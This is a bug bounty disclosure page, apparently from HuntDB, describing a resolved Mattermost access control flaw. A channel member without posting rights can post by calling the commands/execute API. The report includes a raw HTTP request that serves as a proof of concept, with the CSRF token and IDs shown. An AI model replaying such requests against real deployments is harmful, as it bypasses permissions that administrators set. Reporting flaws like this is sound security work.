Loading HuntDB...

Member role which doesn't have permission to send message can send by executing channel commands

Medium
M
Mattermost
Submitted None
Reported by ramsakal7582

Vulnerability Details

Technical details and impact analysis

Improper Access Control - Generic
## Summary: Someone with a member permission who hasn't been given access to post message to the channel can post it by executing commands. ## Steps To Reproduce: ``` POST /api/v4/commands/execute HTTP/1.1 Host: test3.cloud.mattermost.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-CSRF-Token:5 [ jkue786iyfd6dkpiq7ftisys6y Content-Type: application/json Content-Length: 104 Origin: https://test3.cloud.mattermost.com Connection: close Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"command":"/echo ami","channel_id":"khhnkrf5wf8yibwx8bd14s6fbw","team_id":"8jdphis493d4pbq3u1bagz643r"} ``` * Executing above command will post the message to the given channelID and TeamID when you try to reproduce it with your cookie. ## Impact Someone who doesn't have permission to post message to the channel can still post it by executing channel commands.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Improper Access Control - Generic